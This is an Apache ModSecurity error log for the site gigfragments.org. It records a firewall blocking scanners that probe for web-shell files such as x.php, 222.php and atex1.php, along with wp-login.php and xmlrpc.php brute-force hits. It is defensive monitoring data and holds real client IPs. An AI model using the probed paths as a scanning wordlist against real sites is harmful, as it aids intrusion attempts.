[Thu Dec 11 22:38:10.105905 2025] [:error] [pid 4911:tid 4934] [client 4.194.191.135:13060] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "aTrXUg-tKegTX9jNpJkQKgAAAVQ"]
[Thu Dec 11 22:38:10.855200 2025] [:error] [pid 4911:tid 4930] [client 4.194.191.135:13082] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "aTrXUg-tKegTX9jNpJkQLwAAAVA"]
[Thu Dec 11 22:38:13.560545 2025] [:error] [pid 4911:tid 4931] [client 4.194.191.135:13166] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "aTrXVQ-tKegTX9jNpJkQRQAAAVE"]
[Thu Dec 11 22:38:13.890042 2025] [:error] [pid 4564:tid 4590] [client 4.194.191.135:13083] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "aTrXVZjzC8Q_-qV1DxWY6AAAANc"]
[Thu Dec 11 22:38:15.518750 2025] [:error] [pid 4463:tid 4501] [client 4.194.191.135:13168] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aTrXV8WRoGq8qZybgKXgHwAAAEU"]
[Thu Dec 11 22:38:16.201722 2025] [:error] [pid 4564:tid 4585] [client 4.194.191.135:13128] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aTrXWJjzC8Q_-qV1DxWY8AAAANI"]
[Thu Dec 11 22:38:16.753490 2025] [:error] [pid 4911:tid 4918] [client 4.194.191.135:13071] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aTrXWA-tKegTX9jNpJkQUwAAAUQ"]
[Thu Dec 11 22:47:21.014541 2025] [:error] [pid 4463:tid 4510] [client 163.44.102.59:50426] [client 163.44.102.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.44.102.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTrZecWRoGq8qZybgKXjewAAAE4"]
[Thu Dec 11 22:55:08.235681 2025] [:error] [pid 4911:tid 4937] [client 173.236.201.116:42918] [client 173.236.201.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.201.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTrbTA-tKegTX9jNpJkYOQAAAVc"]
[Thu Dec 11 23:17:34.778389 2025] [:error] [pid 4462:tid 4477] [client 170.205.36.30:54022] [client 170.205.36.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.205.36.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTrgjsxEbl7Af0FrMT-XEgAAAAg"]
[Fri Dec 12 00:09:16.324447 2025] [:error] [pid 4463:tid 4514] [client 170.106.180.153:48434] [client 170.106.180.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTrsrMWRoGq8qZybgKX1ugAAAFI"]
[Fri Dec 12 00:14:26.964741 2025] [:error] [pid 53464:tid 53476] [client 182.44.8.254:39352] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTrt4o6Oxa1m77UpSzkrPwAAAMg"]
[Fri Dec 12 06:13:19.195958 2025] [:error] [pid 26607:tid 26630] [client 47.187.138.34:54440] [client 47.187.138.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.187.138.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTtB_8b_b0tOEWTL2KnqEQAAANU"]
[Fri Dec 12 09:05:04.870450 2025] [ssl:error] [pid 26607:tid 26629] [client 143.110.174.190:58874] AH02032: Hostname klickitatcountyjail.org provided via SNI and hostname gigfragments.org provided via HTTP have no compatible SSL setup
[Fri Dec 12 12:55:47.902218 2025] [:error] [pid 26521:tid 26579] [client 103.255.134.61:53168] [client 103.255.134.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.255.134.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTugU5dhcAPU617AKTDwYQAAAIA"]
[Fri Dec 12 14:59:59.874511 2025] [:error] [pid 27950:tid 27952] [client 94.141.5.251:44888] [client 94.141.5.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.141.5.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTu9b4VLRvkrdsSc1F1SIAAAAUA"]
[Fri Dec 12 15:00:06.318145 2025] [:error] [pid 27950:tid 27959] [client 94.141.5.251:44888] [client 94.141.5.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.141.5.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTu9doVLRvkrdsSc1F1SJAAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri Dec 12 20:10:20.180317 2025] [:error] [pid 26519:tid 26527] [client 103.98.76.5:45086] [client 103.98.76.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.98.76.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTwGLM8TRgSGOeWqEhfrPAAAAAQ"]
[Fri Dec 12 20:14:39.038459 2025] [:error] [pid 27950:tid 27954] [client 167.172.79.172:20280] [client 167.172.79.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.79.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTwHL4VLRvkrdsSc1F2TYAAAAUI"]
[Fri Dec 12 20:14:43.681887 2025] [:error] [pid 27950:tid 27968] [client 167.172.79.172:20280] [client 167.172.79.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.79.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTwHM4VLRvkrdsSc1F2TZAAAAVA"], referer: https://gigfragments.org/wp-login.php
[Fri Dec 12 22:01:56.916270 2025] [:error] [pid 55760:tid 55776] [client 213.55.96.149:58966] [client 213.55.96.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTwgVFObDQlftFDyGawguQAAAY4"]
[Fri Dec 12 22:02:03.112781 2025] [:error] [pid 26520:tid 26568] [client 213.55.96.149:54158] [client 213.55.96.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTwgW0G_frlY5vNXu_AF6QAAAFA"], referer: https://gigfragments.org/wp-login.php
[Fri Dec 12 22:41:43.412616 2025] [:error] [pid 26607:tid 26618] [client 160.187.68.131:34410] [client 160.187.68.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.187.68.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTwpp8b_b0tOEWTL2KmwzwAAAMk"]
[Sat Dec 13 00:10:01.626527 2025] [:error] [pid 26519:tid 26530] [client 4.193.186.94:3870] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aTw-Wc8TRgSGOeWqEhcW1QAAAAc"]
[Sat Dec 13 00:10:01.802060 2025] [:error] [pid 55760:tid 55783] [client 4.193.186.94:3371] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aTw-WVObDQlftFDyGaxINQAAAZU"]
[Sat Dec 13 00:10:01.980051 2025] [:error] [pid 26521:tid 26579] [client 4.193.186.94:3342] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aTw-WZdhcAPU617AKTDGuQAAAIA"]
[Sat Dec 13 00:10:02.166260 2025] [:error] [pid 55760:tid 55775] [client 4.193.186.94:3337] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aTw-WlObDQlftFDyGaxINgAAAY0"]
[Sat Dec 13 00:10:02.340058 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:3869] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aTw-WpdhcAPU617AKTDGugAAAJA"]
[Sat Dec 13 00:10:02.515825 2025] [:error] [pid 26521:tid 26586] [client 4.193.186.94:3865] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aTw-WpdhcAPU617AKTDGvAAAAIc"]
[Sat Dec 13 00:10:02.690552 2025] [:error] [pid 27950:tid 27967] [client 4.193.186.94:3332] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aTw-WoVLRvkrdsSc1F3OyQAAAU8"]
[Sat Dec 13 00:10:02.903009 2025] [:error] [pid 60649:tid 60667] [client 4.193.186.94:3347] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aTw-WlOcUGKU3sgfHP8j2wAAAQ8"]
[Sat Dec 13 00:10:03.078326 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:3844] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aTw-W5dhcAPU617AKTDGvQAAAJg"]
[Sat Dec 13 00:10:03.265098 2025] [:error] [pid 26521:tid 26596] [client 4.193.186.94:3335] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aTw-W5dhcAPU617AKTDGvgAAAJE"]
[Sat Dec 13 00:10:03.441119 2025] [:error] [pid 26521:tid 26593] [client 4.193.186.94:3373] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aTw-W5dhcAPU617AKTDGvwAAAI4"]
[Sat Dec 13 00:10:03.617768 2025] [:error] [pid 60649:tid 60653] [client 4.193.186.94:3345] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aTw-W1OcUGKU3sgfHP8j3AAAAQE"]
[Sat Dec 13 00:10:03.797539 2025] [:error] [pid 60649:tid 60656] [client 4.193.186.94:3863] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-title.php"] [unique_id "aTw-W1OcUGKU3sgfHP8j3QAAAQQ"]
[Sat Dec 13 00:10:03.976731 2025] [:error] [pid 26520:tid 26552] [client 4.193.186.94:3349] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-title.php"] [unique_id "aTw-W0G_frlY5vNXu_AhqAAAAEA"]
[Sat Dec 13 00:10:04.158927 2025] [:error] [pid 55760:tid 55765] [client 4.193.186.94:3367] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-title.php"] [unique_id "aTw-XFObDQlftFDyGaxINwAAAYM"]
[Sat Dec 13 00:10:04.333687 2025] [:error] [pid 26519:tid 26523] [client 4.193.186.94:3384] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-title.php"] [unique_id "aTw-XM8TRgSGOeWqEhcW1gAAAAA"]
[Sat Dec 13 00:10:04.509143 2025] [:error] [pid 60649:tid 60652] [client 4.193.186.94:3376] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aTw-XFOcUGKU3sgfHP8j3gAAAQA"]
[Sat Dec 13 00:10:04.686102 2025] [:error] [pid 26521:tid 26601] [client 4.193.186.94:3386] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aTw-XJdhcAPU617AKTDGxAAAAJY"]
[Sat Dec 13 00:10:04.884405 2025] [:error] [pid 26521:tid 26598] [client 4.193.186.94:3346] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aTw-XJdhcAPU617AKTDGxQAAAJM"]
[Sat Dec 13 00:10:05.060105 2025] [:error] [pid 60649:tid 60654] [client 4.193.186.94:3857] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aTw-XVOcUGKU3sgfHP8j4AAAAQI"]
[Sat Dec 13 00:10:05.235601 2025] [:error] [pid 55760:tid 55767] [client 4.193.186.94:3338] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-home.php"] [unique_id "aTw-XVObDQlftFDyGaxIOQAAAYU"]
[Sat Dec 13 00:10:05.410696 2025] [:error] [pid 26519:tid 26538] [client 4.193.186.94:3840] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-home.php"] [unique_id "aTw-Xc8TRgSGOeWqEhcW1wAAAA8"]
[Sat Dec 13 00:10:05.594424 2025] [:error] [pid 26519:tid 26542] [client 4.193.186.94:3355] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-home.php"] [unique_id "aTw-Xc8TRgSGOeWqEhcW2AAAABM"]
[Sat Dec 13 00:10:05.772676 2025] [:error] [pid 55760:tid 55762] [client 4.193.186.94:3382] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-home.php"] [unique_id "aTw-XVObDQlftFDyGaxIOgAAAYA"]
[Sat Dec 13 00:10:05.968877 2025] [:error] [pid 26607:tid 26617] [client 4.193.186.94:3853] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aTw-Xcb_b0tOEWTL2KnH_AAAAMg"]
[Sat Dec 13 00:10:06.143928 2025] [:error] [pid 26607:tid 26626] [client 4.193.186.94:3880] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aTw-Xsb_b0tOEWTL2KnH_QAAANE"]
[Sat Dec 13 00:10:06.318519 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:3357] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aTw-XlObDQlftFDyGaxIOwAAAYY"]
[Sat Dec 13 00:10:06.504443 2025] [:error] [pid 55760:tid 55786] [client 4.193.186.94:3377] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aTw-XlObDQlftFDyGaxIPQAAAZg"]
[Sat Dec 13 00:10:06.685175 2025] [:error] [pid 55760:tid 55784] [client 4.193.186.94:3856] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atex1.php"] [unique_id "aTw-XlObDQlftFDyGaxIPgAAAZY"]
[Sat Dec 13 00:10:06.878806 2025] [:error] [pid 55760:tid 55778] [client 4.193.186.94:3391] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atex1.php"] [unique_id "aTw-XlObDQlftFDyGaxIPwAAAZA"]
[Sat Dec 13 00:10:07.080488 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:3887] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atex1.php"] [unique_id "aTw-X1ObDQlftFDyGaxIQAAAAZE"]
[Sat Dec 13 00:10:07.254765 2025] [:error] [pid 55760:tid 55769] [client 4.193.186.94:3867] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atex1.php"] [unique_id "aTw-X1ObDQlftFDyGaxIQgAAAYc"]
[Sat Dec 13 00:10:07.440300 2025] [:error] [pid 26607:tid 26633] [client 4.193.186.94:3348] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kdgok.php"] [unique_id "aTw-X8b_b0tOEWTL2KnH_wAAANg"]
[Sat Dec 13 00:10:07.616570 2025] [:error] [pid 60649:tid 60655] [client 4.193.186.94:3683] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kdgok.php"] [unique_id "aTw-X1OcUGKU3sgfHP8j5AAAAQM"]
